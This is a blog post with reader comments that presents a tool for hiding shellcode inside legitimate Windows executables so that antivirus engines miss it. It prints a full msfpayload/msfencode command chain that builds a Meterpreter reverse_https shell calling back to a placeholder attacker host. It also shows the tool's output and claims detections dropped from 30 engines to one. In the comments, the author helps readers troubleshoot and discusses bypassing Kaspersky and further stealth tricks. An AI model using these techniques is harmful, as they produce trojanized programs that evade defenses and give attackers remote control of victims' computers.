Embedding a shellcode in a PE file

Some time ago a friend asked in a private mailing list about possible ways to embed a shellcode in one executable file (PE) and ways to bypass AV detection. I recommended him to use any Windows supplied PE file (or any other ‘goodware’ PE file) and patching some “always called function” with the shellcode. It turned out to be one of the many  possible AV evasion techniques that seems to work in many cases. The unique problem was that there is no tool to do this, so I decided to write one tool (based on Pyew) for doing this task.

The exact command line he sent to the mailing list of the tool he was running for creating the PE with the shellcode embed was this one:

$ ./msfpayload windows/meterpreter/reverse_https LHOST=www.xxx.com LPORT=666 R | ./msfencode -t raw -e x86/shikata_ga_nai -c 5 | ./msfencode -t raw -e x86/alpha_upper -c 2 | ./msfencode -t raw -e x86/shikata_ga_nai -c 5 | ./msfencode -t exe -c 5 -e x86/countdown -o xxx.exe

A file created like this was easily detected by many AV engines as you may see here. In the VirusTotal report, you will notice that 30 out of 42 AV engines detected this sample. However, using the tool I created based on Pyew to embed the shellcode in a PE file it changes a “bit”. In this case, only one AV engine detects “something”: eSafe says there is a “Virus in password protected archive”. The following is the output of running the tool I wrote:

$ python shellcode_patch.py test/files/sample.exe msf/xxx.sc test/files/out.exe
[+] Loading and analysing file test/files/sample.exe
PE Information

.text 0x1000 0x5e70 24576
.rdata 0x7000 0x3b4a 16384
.data 0xb000 0x2a60 8192
.rsrc 0xe000 0x1258 8192

Entry Point at 0x6cdf
Virtual Address is 0x406cdf
Code Analysis ...
Analyzing address 0x00006e5f - 0 in queue / 57 totall
[i] Total of 57 function(s) found in PE file
[i] Entry point function start at 0x00006cdf
[i] Function at offset 0x00003be8 will be patched
[+] Writing output file test/files/out.exe
[+] All finished!

The tool

You may download the script I wrote for Pyew here. But, obviously, it requires Pyew in order to run (you need to download the latest version from the Mercurial repository as it required to do some changes to code analysis engine as well as adding support for calculating the callgraph and all the flowgraphs). This easy script receives 3 arguments: the base PE file, the shellcode to embed and an output file. The tool loads the initial PE file, performs code analysis, finds a random function that is called from the entry point following some path, overwrites this function, changes the PE section’s privilege accordingly (the shellcode will probably need to write data in this section) and writes the output file. And that’s all! It’s ~100 lines of code but with many checks and comments.

Possible future improvements

This is a quick script for doing this task. However, a more powefull one could be written with little effort. For example, instead of completely overwriting a function, we could embed the shellcode in the holes between functions and patch one function’s prolog to call the shellcode and then return to the original function, for example.

Remember: If you want to use this tool you need to download the latest Pyew version from the Mercurial’s repository.

28 thoughts on “Embedding a shellcode in a PE file

  1. The Moorish

    nice man! i have a quick question , is it possible to encrypt MS08-067 to bypass windows server 2003 running Kaspersky version 6?

  2. joxean Post author

    As you can embed any shellcode (you’re just replacing original code with your own code) you can embed pretty much anything.

  3. Anonymous

    Very nice tools, but I got this error (perhaps its windows related?):

    C:\tools\pyew>python shellcode_patch.py template-win32.exe shellcode.sc teste.exe
    [+] Loading and analysing file bomtemplate-win32.exe
    PE Information

    .text 0x1000 0x6304 25600
    .rdata 0x8000 0x1d22 7680
    .data 0xa000 0x1a9c 3584
    .rsrc 0xc000 0xc040 49664

    Entry Point at 0x7ac
    Virtual Address is 0x4013ac
    Code Analysis …
    PEFILE: global name ‘Decode32Bits’ is not defined
    Error loading file: global name ‘Decode32Bits’ is not defined
    [i] Total of 0 function(s) found in PE file
    Traceback (most recent call last):
    File “shellcode_patch.py”, line 112, in
    File “shellcode_patch.py”, line 99, in main
    if patcher.patch():
    File “shellcode_patch.py”, line 90, in patch
    if self.loadFiles():
    File “shellcode_patch.py”, line 42, in loadFiles
    print “[i] Entry point function %s at 0x%08x” % (self.pyew.names[self.pyew.ep], self.pyew.ep)
    KeyError: 1964

  4. Anonymous

    Ok, distorm64.dll fixed that error on Windows, but I got a new one:

    C:\tools\pyew>python shellcode_patch.py bomtemplate-win32.exe shellcode.sc teste.exe
    [+] Loading and analysing file bomtemplate-dos.exe
    PE Information

    .text 0x1000 0x857a 34304
    .rdata 0xa000 0x9c2 2560
    .data 0xb000 0x3f04 12288

    Entry Point at 0x4bfd
    Virtual Address is 0x4059fd
    Code Analysis …
    Analyzing address 0x00004d25 – 1 in queue / 87 totall
    [i] Total of 87 function(s) found in PE file
    [i] Entry point function start at 0x00004bfd
    Traceback (most recent call last):
    File “shellcode_patch.py”, line 112, in
    File “shellcode_patch.py”, line 99, in main
    if patcher.patch():
    File “shellcode_patch.py”, line 91, in patch
    return self.findFunctionAndPatch()
    File “shellcode_patch.py”, line 73, in findFunctionAndPatch
    g = self.pyew.callgraph
    AttributeError: CPyew instance has no attribute ‘callgraph’

  5. joxean Post author

    And, the 2nd error the “CPyew instance has no attribute ‘callgraph'”, I think, is because you aren’t using the Mercurial Version.

    >Remember: If you want to use this tool you need to download the latest Pyew version from the Mercurial’s repository.

  6. AnonymousSR

    Mercurial’s repository ???
    Did you mean “http://code.google.com/p/pyew”

  7. ert

    how did you genarated the shellcode ?
    I have tryed
    msfpayload windows/meterpreter/reverse_tcp LHOST=xxx LPORT=xxx C > sh.sc but not sucseed

  8. xer

    Thank you for sharing this very interesting . I Student and I try to embed Shellcode CMD/EXE in Calc.exe .
    I think the problem comes from the file formatting shellcode.sc .
    You can give a exemple for the shellcode.sc . (appreciate)
    excuse me for my bad english

  9. Anonymous

    Same problem here. Just tried many shellcodes on diferente PE files and it crashs at runtime or simply do not execute the shellcode. 🙁

  10. joxean Post author

    One note: The best thing you can do to debug it is to insert a 0xCC (int 3) at the start of your shellcode and launch in under a debugger to be absolutely sure it’s working.

    And one more note: The generated binary may fail at runtime *if* the scripts tries to patch a function whose body is smaller than the shellcode *and* the other overwritten functions is called before the one selected by the script. That’s: if the shellcode overwrites other functions as well, it’s very likely to crash at runtime.

  11. joxean Post author

    Well, sorry but “still not working” is not a helpful comment. Did you tried to put a 0xCC byte at the very beginning of your shellcode and launch the generated PE file under a debugger like IDA or OllyDbg to see what’s happening? What exception are you getting?

  12. mj010

    $ python shellcode_patch.py test/files/sample.exe msf/xxx.sc test/files/out.exe
    Which type of shellcode supported by your scripts ? TKS )

    msfpayload support a lot of type
    Usage: /opt/framework/msf3/msfpayload [] [var=val]

  13. mj010

    Did it supported this format shellcode ??? TKS :D)

    { 0x11,0x3c,0x5C,0x81,0xC4,

  14. franco

    in which format you have generated the shellcode? I see from the example, you use “xxx.sc” while I see that you have produced with msfencode “xxx.exe”, my question is: can I use an exe to be included in another exe? or what? pure shellcode? C? RAW? msfencode is not able to produce SC format..

  15. joxean Post author

    I didn’t do anything special. The simple tool I created just does one thing: overwrite a function called from main (verified checking the call graph) with whatever you supply to it. There is no SC format and, sorry, I do not understand what differences you see between “pure shellcode”, “C” and “raw”.

    So, answering your questions: in principle, you cannot embed another exe in an exe ‘like this’ with this tool, it simply embeds any _shellcode_ you give.

  16. Jay


    I managed to get the shellcode executed and bypass the resident AV but the PE I used (putty.exe) didn’t run. Am I missing something ?

  17. joxean Post author

    This tool does not infect the given PE but, rather, replace some function with the given shellcode. This is why the PE (putty.exe in your example) didn’t run.
    I’m thinking about adding such feature to the tool.

  18. Jay

    Does that mean that there’s a chance the replaced function isn’t critical for the PE to run and if I tried over and over again there’s a chance that the PE at least displays the main UI ?

    On a side note, are you thinking about further developing this ?

  19. joxean Post author

    Chances are extremely low but, yes, there is a possibility. And, as for further developing it, yes, probably. But it depends on time.

Leave a Reply

Your email address will not be published. Required fields are marked *